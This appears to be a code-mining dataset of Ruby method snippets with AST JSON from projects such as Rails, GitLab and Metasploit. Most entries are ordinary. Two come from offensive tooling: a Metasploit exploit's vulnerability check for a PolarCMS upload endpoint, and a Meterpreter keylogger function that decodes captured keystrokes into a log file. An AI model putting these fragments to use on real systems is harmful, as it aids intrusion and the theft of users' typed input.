{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/config/configure_proxy.rb","start_line":80,"raw_source":"def init?\n        @init.nil? ? false : @init\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"init?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@init\"]},\"nil?\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@init\"]}]}]}","id":"73abc199-8eb3-4af2-b3c7-df03802421b5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/coders/column_serializer.rb","start_line":22,"raw_source":"def dump(object)\n        return if object.nil?\n\n        assert_valid_value(object, action: \"dump\")\n        coder.dump(object)\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dump\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"assert_valid_value\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"dump\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"coder\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}","id":"95ad0ea1-23a2-4ceb-abea-4f9d29834a2c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/hash_with_indifferent_access.rb","start_line":334,"raw_source":"def deep_symbolize_keys; to_hash.deep_symbolize_keys! end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deep_symbolize_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_hash\"]},\"deep_symbolize_keys!\"]}]}","id":"efe303ad-4608-42e2-863a-a389b1be25de"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_percent_q.rb","start_line":63,"raw_source":"def interpolated_quotes?(node)\n          node.source.include?(SINGLE_QUOTE) && node.source.include?(QUOTE)\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"interpolated_quotes?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"SINGLE_QUOTE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"QUOTE\"]}]}]}]}","id":"67fa08fd-e3bc-467c-b044-9bef7aa8d10b"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/table_data.rb","start_line":220,"raw_source":"def statuses_by_name\n        @statuses_by_name ||= Status.all.index_by(&:name)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"statuses_by_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@statuses_by_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"all\"]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}","id":"330c3927-d086-46db-81c9-edb0819338e6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/polarcms_upload_exec.rb","start_line":57,"raw_source":"def check\n    uri = target_uri.path\n\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php')\n    })\n\n    if not res or res.code != 200\n      return Exploit::CheckCode::Safe\n    end\n\n    return Exploit::CheckCode::Appears\n  end","complexity_score":12.23,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"includes\"]},{\"type\":\"str\",\"children\":[\"jquery.uploadify\"]},{\"type\":\"str\",\"children\":[\"upload.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]}]}]}","id":"0e027b82-ea37-40e3-8617-f66da0a8ad36"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/tags/developer_creates_tag_spec.rb","start_line":80,"raw_source":"def select_ref(ref:)\n    ref_selector = '.ref-selector'\n    find(ref_selector).click\n    wait_for_requests\n    page.within(ref_selector) do\n      fill_in _('Search by Git revision'), with: ref\n      wait_for_requests\n      find('li', text: ref, match: :prefer_exact).click\n    end\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"select_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ref_selector\",{\"type\":\"str\",\"children\":[\".ref-selector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"lvar\",\"children\":[\"ref_selector\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"lvar\",\"children\":[\"ref_selector\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Search by Git revision\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"li\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"sym\",\"children\":[\"prefer_exact\"]}]}]}]},\"click\"]}]}]}]}]}","id":"abd52b04-7203-4946-9d97-4d348393f592"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/text/input/readline.rb","start_line":77,"raw_source":"def gets()\n      begin\n        self.fd.gets()\n      rescue ::Errno::EINTR\n        retry\n      end\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"gets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fd\"]},\"gets\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EINTR\"]}]},null,{\"type\":\"retry\",\"children\":[]}]},null]}]}]}","id":"8382c89d-32d8-40b7-9542-800d5085afbb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/base/object_builder.rb","start_line":90,"raw_source":"def attrs_to_arel(attrs)\n          attrs.map do |key, value|\n            table[key].eq(value)\n          end.reduce(:and)\n        end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"attrs_to_arel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"eq\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},\"reduce\",{\"type\":\"sym\",\"children\":[\"and\"]}]}]}","id":"f596f951-0895-4d7d-bea5-723ffcf733d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/line.rb","start_line":85,"raw_source":"def removed?\n        %w[old old-nonewline old-nomappinginraw].include?(type)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"removed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"old\"]},{\"type\":\"str\",\"children\":[\"old-nonewline\"]},{\"type\":\"str\",\"children\":[\"old-nomappinginraw\"]}]},\"include?\",{\"type\":\"send\",\"children\":[null,\"type\"]}]}]}","id":"8a8d98a6-af8a-431b-9bcd-b4639db275e4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb","start_line":1446,"raw_source":"def dangerzone_build_map\n            return unless @dangerzone_map.nil?\n\n            @dangerzone_map = {}\n\n            res = []\n            %W{exploit auxiliary}.each do |mtyp|\n              mset = framework.modules.module_names(mtyp)\n              mset.each do |mref|\n                res << mtyp + '/' + mref\n              end\n            end\n\n            words_a = ::File.readlines(::File.join(\n              ::Msf::Config.data_directory, \"wordlists\", \"dangerzone_a.txt\"\n              )).map{|line| line.strip.upcase}\n\n            words_b = ::File.readlines(::File.join(\n              ::Msf::Config.data_directory, \"wordlists\", \"dangerzone_b.txt\"\n              )).map{|line| line.strip.upcase}\n\n            aidx = -1\n            bidx = -1\n\n            res.sort.each do |mname|\n              word_a = words_a[ (aidx += 1) % words_a.length ]\n              word_b = words_b[ (bidx += 1) % words_b.length ]\n              cname = word_a + word_b\n\n              while @dangerzone_map[cname]\n                aidx += 1\n                word_a = words_a[ (aidx += 1) % words_a.length ]\n                cname = word_a + word_b\n              end\n\n              @dangerzone_map[mname] = cname\n              @dangerzone_map[cname] = mname\n            end\n          end","complexity_score":84.4,"ast_json":"{\"type\":\"def\",\"children\":[\"dangerzone_build_map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dangerzone_map\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@dangerzone_map\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"exploit\"]},{\"type\":\"str\",\"children\":[\"auxiliary\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mtyp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"modules\"]},\"module_names\",{\"type\":\"lvar\",\"children\":[\"mtyp\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mset\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mtyp\"]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"mref\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"words_a\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"readlines\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"dangerzone_a.txt\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"strip\"]},\"upcase\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"words_b\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"readlines\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"dangerzone_b.txt\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"strip\"]},\"upcase\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"aidx\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"lvasgn\",\"children\":[\"bidx\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"sort\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"word_a\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words_a\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aidx\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words_a\"]},\"length\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"word_b\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words_b\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bidx\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words_b\"]},\"length\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word_a\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"word_b\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dangerzone_map\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"cname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aidx\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"word_a\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words_a\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aidx\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words_a\"]},\"length\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word_a\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"word_b\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dangerzone_map\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"mname\"]},{\"type\":\"lvar\",\"children\":[\"cname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dangerzone_map\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"cname\"]},{\"type\":\"lvar\",\"children\":[\"mname\"]}]}]}]}]}]}","id":"cc98783f-7033-4785-aad9-c64f4f7d312f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/category_guardian.rb","start_line":56,"raw_source":"def secure_category_ids\n    @secure_category_ids ||= @user.secure_category_ids\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"secure_category_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@secure_category_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"secure_category_ids\"]}]}]}","id":"e6f3e299-cb7c-4abe-87a9-4e76f3116f66"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/releases/group_releases_finder.rb","start_line":14,"raw_source":"def initialize(parent, current_user = nil, params = {})\n      @parent = parent\n      @current_user = current_user\n      @params = params\n\n      params[:sort] ||= 'desc'\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parent\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},{\"type\":\"str\",\"children\":[\"desc\"]}]}]}]}","id":"ecaff99d-281f-47ff-8542-ca831857ead4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/view.rb","start_line":172,"raw_source":"def title=(title)\n    info[:Title] = title\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"title=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"Title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}","id":"fb28a38d-cb8d-423b-ade9-be99d29c48d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/loose_foreign_keys/cleaner_service.rb","start_line":39,"raw_source":"def build_query\n      query = if async_delete?\n                delete_query\n              elsif async_nullify?\n                update_query\n              elsif update_column_to?\n                update_target_column_query\n              else\n                logger.error(\"Invalid on_delete argument: #{loose_foreign_key_definition.on_delete}\")\n                return \"\"\n              end\n\n      unless query.include?(%{\"#{loose_foreign_key_definition.column}\" IN (})\n        logger.error(\"FATAL: foreign key condition is missing from the generated query: #{query}\")\n        return \"\"\n      end\n\n      query\n    end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"async_delete?\"]},{\"type\":\"send\",\"children\":[null,\"delete_query\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"async_nullify?\"]},{\"type\":\"send\",\"children\":[null,\"update_query\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_column_to?\"]},{\"type\":\"send\",\"children\":[null,\"update_target_column_query\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid on_delete argument: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loose_foreign_key_definition\"]},\"on_delete\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"include?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loose_foreign_key_definition\"]},\"column\"]}]},{\"type\":\"str\",\"children\":[\"\\\" IN (\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"FATAL: foreign key condition is missing from the generated query: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}","id":"645a3153-8fdb-4f07-983c-fcb516bada8c"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/store_credit_category.rb","start_line":24,"raw_source":"def validate_not_used\n      if store_credit_category_used?\n        errors.add(:base, :cannot_destroy_if_used_in_store_credit)\n        throw(:abort)\n      end\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_not_used\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store_credit_category_used?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"sym\",\"children\":[\"cannot_destroy_if_used_in_store_credit\"]}]},{\"type\":\"send\",\"children\":[null,\"throw\",{\"type\":\"sym\",\"children\":[\"abort\"]}]}]},null]}]}","id":"66928bb6-172d-4cde-9838-9c47ed5e82c9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/keylogrecorder.rb","start_line":117,"raw_source":"def write_keylog_data session, logfile\n  data = session.ui.keyscan_dump\n  outp = \"\"\n  data.unpack(\"n*\").each do |inp|\n    fl = (inp & 0xff00) >> 8\n    vk = (inp & 0xff)\n    kc = VirtualKeyCodes[vk]\n\n    f_shift = fl & (1<<1)\n    f_ctrl  = fl & (1<<2)\n    f_alt   = fl & (1<<3)\n\n    if(kc)\n      name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])\n      case name\n      when /^.$/\n        outp << name\n      when /shift|click/i\n      when 'Space'\n        outp << \" \"\n      else\n        outp << \" <#{name}> \"\n      end\n    else\n      outp << \" <0x%.2x> \" % vk\n    end\n  end\n\n  sleep(2)\n\n  if(outp.length > 0)\n    file_local_write(logfile,\"#{outp}\\n\")\n  end\nend","complexity_score":63.85,"ast_json":"{\"type\":\"def\",\"children\":[\"write_keylog_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]},{\"type\":\"arg\",\"children\":[\"logfile\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"ui\"]},\"keyscan_dump\"]}]},{\"type\":\"lvasgn\",\"children\":[\"outp\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"n*\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fl\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inp\"]},\"&\",{\"type\":\"int\",\"children\":[65280]}]}]},\">>\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vk\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inp\"]},\"&\",{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"kc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VirtualKeyCodes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"vk\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"f_shift\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fl\"]},\"&\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"<<\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"f_ctrl\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fl\"]},\"&\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"<<\",{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"f_alt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fl\"]},\"&\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"<<\",{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f_shift\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",